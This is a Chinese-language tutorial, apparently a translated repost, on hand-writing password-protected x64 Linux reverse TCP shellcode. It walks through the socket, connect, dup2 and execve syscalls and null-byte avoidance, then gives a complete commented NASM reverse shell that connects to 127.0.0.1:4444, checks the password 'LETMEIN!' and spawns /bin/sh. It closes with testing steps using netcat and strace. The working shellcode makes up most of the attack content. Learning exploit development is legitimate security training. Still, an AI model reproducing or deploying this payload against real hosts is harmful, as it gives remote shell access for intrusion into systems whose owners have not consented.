第一阶段:概述

首先,我们试图在这里实现什么?我们的目标是为Linux x64架构编写shellcode,它将通过TCP/IPv4连接回远程位置,并且只有在远程客户端提供有效密码后才提供shell。

为了编写一个规则的反向shell,我们需要链接几个系统调用。具体顺序如下(我们稍后会处理身份验证):

我们创建一个新的socket来管理与socket syscall调用的连接
我们连接到发出connect syscall 的目标地址
我们使用dup2 syscall将每个标准流复制到新的连接流中,这样目标机器就可以读写来自源机器的消息
我们使用execve syscall打开shell

这些系统调用中的每一个都有一个我们需要处理的签名。某些寄存器必须包含特定值。例如,rax寄存器用于标识执行的syscall,因此它应始终包含syscall number。包含完整syscall表的整个文档可以在此处找到。

undefined

 

第二阶段:编写Syscall

让我们看一个如何编写syscall的例子:

一个简单的Syscall: Socket (0x29)

48c7c029000000 mov rax,0x29 ; this is the socket syscall number
48c7c702000000 mov rdi,0x02 ; 0x02 correponds with IPv4
4831f6 xor rsi,rsi
48ffc6 inc rsi ; 0x01 correponds with TCP
31d2 xor edx,edx ; 0 corresponds with protocol sub-family
0f05 syscall ; executes the syscall

现在,这段代码有一些问题。首先,它非常长(精确地说是48字节)。其次,它包含许多空字节。让我们试着解决它!

更现实的方法: Socket (0x29)

以下实现为12字节长(最后一个示例的四分之一),不包含空字节:

6a29 push 0x29
58 pop rax ; sets rax to 0x29 without nullbytes
6a02 push 0x02
5f pop rdi ; same technique for rdi
6a01 push 0x01
5e pop rsi ; same for rsi
99 cdq ; setting rdx to 0 using just one byte
0f05 syscall

为了将反向shell放在一起,我们需要像上一个例子一样编写每个系统调用。让我们继续讨论实施草案吧!

 

第三阶段:认证

为了添加身份验证,我们需要在执行shell之前读取客户端文件描述符,并将输入与密码进行比较。代码应该大致如下所示:

; 6 - Handle incoming connection
; 6.1 - Save client fd and close parent fd
mov r9, rax ; store the client socket fd into r9
; this is not mandatory, may be commented out to save some space
push syscalls.close
pop rax ; close parent
syscall
; 6.2 - Read password from the client fd
read_pass:
xor rax, rax ; read syscall == 0x00
mov rdi, r9 ; from client fd
push 4
pop rdx ; rdx = input size
sub rsp, rdx
mov rsi, rsp ; rsi => buffer
syscall
; 6.3 - Check password
mov rax, config.password
mov rdi, rsi
scasq
jne read_pass

基本上,我们从客户端文件描述符中读取,然后将输入与给定密码进行比较,并重复该过程,直到成功为止。

 

第四阶段:编写反向shell

凭借我们所有的知识,我们现在准备链接每个系统调用,并将我们的反向TCP shell组合在一起。下面是一个带有注释的示例实现,旨在阐明流程的每个部分:

; =================================================
; Password protected x64 TCP Reverse Shell
; Author: Alan Vivona
; =================================================

global _start

; Syscall numbers
syscalls.socket  equ 0x29
syscalls.bind    equ 0x31
syscalls.listen  equ 0x32
syscalls.connect equ 0x2a
syscalls.accept  equ 0x2b
syscalls.close   equ 0x03
syscalls.dup2    equ 0x21
syscalls.write   equ 0x01
syscalls.read    equ 0x00
syscalls.execve  equ 0x3b

; Constant definitions
ipv4    equ 0x02            ; AF_INET
ipv4.addressLen equ 0x10 
tcp     equ 0x01            ; SOCK_STREAM

; Standard streams
standardIO.in   equ 0x00
standardIO.out  equ 0x01
standardIO.err  equ 0x02

;:> echo -n '//bin/sh' | rev | xxd
;:  00000000: 6873 2f6e 6962 2f2f hs/nib//
binshString     equ 0x68732f6e69622f2f

; Configs
config.max_cons equ 0x2
config.password equ 0x4d54454c214e4945  ; MTEL!NIE > LETMEIN!

config.target   equ 0x100007f5c110002   ; tcp://127.0.0.1:4444
; This has nullbytes, so I replaced it with its complement
config.target.complement equ 0xfeffff80a3eefffe  ; neg(tcp://127.0.0.1:4444)

section .text

_start:

; 1 - Create socket
push syscalls.socket
pop rax
cdq
push ipv4
pop rdi
push tcp
pop rsi
syscall
mov r15, rax ; save fd into r15

; 2 - Connect to target
xchg rax, rdi
mov rcx, config.target.complement
neg rcx
push rcx
mov rsi, rsp
push ipv4.addressLen
pop rdx
push syscalls.connect
pop rax
syscall

; 3 - Read password from the client fd
read_pass:
    xor rax, rax    ; read syscall == 0x00
    mov rdi, r15    ; rdi = fd
    push 0x04
    pop rdx         ; rdx = input size
    sub rsp, rdx
    mov rsi, rsp    ; rsi => buffer
    syscall
    ; Check password
    mov rax, config.password
    mov rdi, rsi
    scasq
jne read_pass

; 4 - Duplicate std streams
mov rdi, r15 ; restore socket fd into rdi
push 0x02
pop rsi
loop_through_stdfs:
    push syscalls.dup2
    pop rax
    syscall
    dec rsi
jns loop_through_stdfs

; 5 - Execve
xor rdx, rdx
push rdx ; First NULL push    
mov rbx, binshString ; push /bin//sh in reverse
push rbx     ; store /bin//sh address in RDI
mov rdi, rsp 
push rdx ; Second NULL push
mov rdx, rsp
push rdi     ; set RSI to address of /bin//sh
mov rsi, rsp
push syscalls.execve
pop rax
syscall

 

第五阶段:测试

我们可以通过组合和链接这个文件来检查bind shell是否正常工作,然后提取shellcode并运行它。我有一些自定义脚本,通过自动化组合和链接过程,提取shellcode生成测试框架来运行我们的shellcode ,使这个过程更容易一些。你可能想要检查这些脚本或自己使用它们(当然还要报告错误和改进!)。

为了测试这一点,我们需要让像netcat这样的东西监听端口4444,然后触发我们的shellcode,它应该连接回我们的服务器。下面是一个示例:

undefined

由于安全客不支持视频解析,视频演示放在百度网盘:

链接:https://pan.baidu.com/s/1Z3hFM_Jm14amY0nHb2TxCw

提取码:ymho

原视频地址:https://vimeo.com/322604181

我们还可以使用strace来确认/调试正在进行的syscall。在下面的视频中,您可以找到socket & connect组合,然后是重复读取syscalls,最后是dup2 * 3,并在提供正确的密码后执行。

undefined

由于安全客不支持视频解析,视频演示放在百度网盘:

链接:https://pan.baidu.com/s/15WQYervsC2mBbdWi2VVvuQ

提取码:edkx

原视频地址:https://vimeo.com/322605370

文章原文链接:https://www.anquanke.com/post/id/173992